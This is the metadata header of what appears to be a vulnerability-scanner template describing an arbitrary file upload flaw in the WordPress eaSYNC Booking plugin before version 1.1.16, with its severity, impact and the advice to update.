info:
  name: WordPress eaSYNC Booking <1.1.16 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    WordPress eaSync Booking plugin bundle for hotel, restaurant and car rental before 1.1.16 is susceptible to arbitrary file upload. The plugin contains insufficient input validation of an AJAX action. An allowlist of valid file extensions is defined but is not used during the validation steps. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in remote code execution, allowing an attacker to take complete control of the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress eaSYNC Booking plugin (1.1.16) or apply the vendor-provided patch to mitigate this vulnerability.
